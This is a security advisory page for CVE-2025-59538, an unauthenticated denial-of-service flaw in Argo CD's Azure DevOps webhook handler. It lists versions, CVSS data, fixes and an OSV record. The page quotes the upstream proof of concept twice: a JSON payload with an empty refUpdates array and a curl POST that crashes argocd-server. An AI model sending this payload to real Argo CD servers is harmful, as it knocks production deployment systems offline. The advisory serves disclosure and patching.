CVE-2025-59538: Github.com/argoproj/argo cd/v2 Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-gpx4-37g2-c8pv
CVSS 7.5
CWE-703 CWE-248
Published
Advisory Summary

CVE-2025-59538 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-703: Improper Check or Handling of Exceptional Conditions) affecting Github.com/argoproj/argo cd/v2 libraries in the Go ecosystem. The issue involves argo cd unauthenticated remote dos via malformed azure devops git.push webhook. Remediation is available by upgrading affected packages to version 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19.

CVE-2025-59538 at a Glance

CVE Identifier CVE-2025-59538
GHSA Identifier GHSA-gpx4-37g2-c8pv
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-703: Improper Check or Handling of Exceptional Conditions
Affected Product Github.com/argoproj/argo cd/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2025-59538

To remediate this vulnerability, upgrade all affected Github.com/argoproj/argo cd/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/argoproj/argo-cd/v2 fixed: 2.14.20
Upgrade github.com/argoproj/argo-cd/v2 to 2.14.20
github.com/argoproj/argo-cd/v3 fixed: 3.2.0-rc2
Upgrade github.com/argoproj/argo-cd/v3 to 3.2.0-rc2
github.com/argoproj/argo-cd/v3 fixed: 3.1.8
Upgrade github.com/argoproj/argo-cd/v3 to 3.1.8
github.com/argoproj/argo-cd/v3 fixed: 3.0.19
Upgrade github.com/argoproj/argo-cd/v3 to 3.0.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/argoproj/argo-cd/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-59538, inspect your project dependencies for Github.com/argoproj/argo cd/v2:

inspect dependencies for github.com/argoproj/argo-cd/v2

Analyze the terminal output to locate any version of Github.com/argoproj/argo cd/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.20), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-703: Improper Check or Handling of Exceptional Conditions, where the product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. In Github.com/argoproj/argo cd/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. ### Details ```go case azuredevops.GitPushEvent: // util/webhook/webhook.go -- line ≈147 revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID) change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID) touchedHead = payload.Resource.RefUpdates[0].Name == payload.Resource.Repository.DefaultBranch ``` If the attacker supplies "refUpdates": [], the slice has length 0. The webhook code has no recover(), so the panic terminates the entire binary. ### PoC payload-azure-empty.json: ```json { "eventType": "git.push", "resource": { "refUpdates": [], "repository": { "remoteUrl": "https://example.com/dummy", "defaultBranch": "refs/heads/master" } } } ``` curl call: ```shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \ -H 'Content-Type: application/json' \ --data-binary @payload-azure-empty.json ``` Observed crash: ``` panic: runtime error: index out of range [0] with length 0 goroutine 205 [running]: github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo webhook.go:147 +0x1ea5 ... ``` ### Mitigation If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler. If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads. ```diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.azuredevops.username: <your base64-encoded secret here> + webhook.azuredevops.password: <your base64-encoded secret here> ``` ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credits Discovered by Jakub Ciolek at AlphaSense.

CVE-2025-59538 Affected Github.com/argoproj/argo cd/v2 Versions

4 component(s)
Fixed Versions:
2.14.203.2.0-rc23.1.83.0.19
Product / Package Ecosystem Affected Versions Fixed Version
github.com/argoproj/argo-cd/v2
Go
≥ 2.9.0-rc1
< 2.14.20
2.14.20
github.com/argoproj/argo-cd/v3
Go
≥ 3.2.0-rc1
< 3.2.0-rc2
All 1 versions
3.2.0-rc1
3.2.0-rc2
github.com/argoproj/argo-cd/v3
Go
≥ 3.1.0-rc1
< 3.1.8
3.1.8
github.com/argoproj/argo-cd/v3
Go
≥ 3.0.0-rc1
< 3.0.19
3.0.19

References

Frequently Asked Questions

What is CVE-2025-59538?
CVE-2025-59538 is a security vulnerability in Github.com/argoproj/argo cd/v2 involving Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook under CWE-703: Improper Check or Handling of Exceptional Conditions.
Which Github.com/argoproj/argo cd/v2 versions are affected?
Affected versions include releases prior to 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19 across affected packages: github.com/argoproj/argo-cd/v2, github.com/argoproj/argo-cd/v3.
What version fixes CVE-2025-59538?
Upgrading to 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/argoproj/argo-cd/v2 affected?
Yes, github.com/argoproj/argo-cd/v2 is affected in releases prior to 2.14.20. Upgrade your dependency to 2.14.20 or later.
Is github.com/argoproj/argo-cd/v3 affected?
Yes, github.com/argoproj/argo-cd/v3 is affected in releases prior to 3.2.0-rc2, 3.1.8, 3.0.19. Upgrade your dependency to 3.2.0-rc2, 3.1.8, 3.0.19 or later.
What is the CVSS score of CVE-2025-59538?
CVE-2025-59538 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2025-59538?
CVE-2025-59538 is classified under CWE-703: Improper Check or Handling of Exceptional Conditions (The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.).
How can I check Go dependencies for CVE-2025-59538?
Run the dependency tree command: 'inspect dependencies for github.com/argoproj/argo-cd/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gpx4-37g2-c8pv",
  "modified" : "2025-10-23T20:29:02Z",
  "published" : "2025-09-30T18:32:31Z",
  "aliases" : [ "CVE-2025-59538" ],
  "summary" : "Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook",
  "details" : "### Summary\n\nIn the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.\n\nThe slice index [0] is accessed without a length check, causing an index-out-of-range panic.\n\nA single unauthenticated HTTP POST is enough to kill the process.\n\n### Details\n\n```go\ncase azuredevops.GitPushEvent:\n    // util/webhook/webhook.go -- line ≈147\n    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty\n    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)\n    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)\n    touchedHead     = payload.Resource.RefUpdates[0].Name ==\n                      payload.Resource.Repository.DefaultBranch\n```\n\nIf the attacker supplies \"refUpdates\": [], the slice has length 0.\n\nThe webhook code has no recover(), so the panic terminates the entire binary.\n\n### PoC\n\npayload-azure-empty.json:\n```json\n{\n  \"eventType\": \"git.push\",\n  \"resource\": {\n    \"refUpdates\": [],\n    \"repository\": {\n      \"remoteUrl\": \"https://example.com/dummy\",\n      \"defaultBranch\": \"refs/heads/master\"\n    }\n  }\n}\n```\n\ncurl call:\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \\\n     -H 'Content-Type: application/json' \\\n     --data-binary @payload-azure-empty.json\n```\n\nObserved crash:\n\n```\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 205 [running]:\ngithub.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo\n    webhook.go:147 +0x1ea5\n...\n```\n\n### Mitigation\n\nIf you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.azuredevops.username: <your base64-encoded secret here>\n+  webhook.azuredevops.password: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.9.0-rc1"
      }, {
        "fixed" : "2.14.20"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.19"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0-rc1"
      }, {
        "fixed" : "3.2.0-rc2"
      } ]
    } ],
    "versions" : [ "3.2.0-rc1" ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.1.0-rc1"
      }, {
        "fixed" : "3.1.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.7"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0-rc1"
      }, {
        "fixed" : "3.0.19"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.18"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59538"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-cd"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3995"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248", "CWE-703" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-30T18:32:31Z",
    "nvd_published_at" : "2025-10-01T21:16:43Z"
  }
}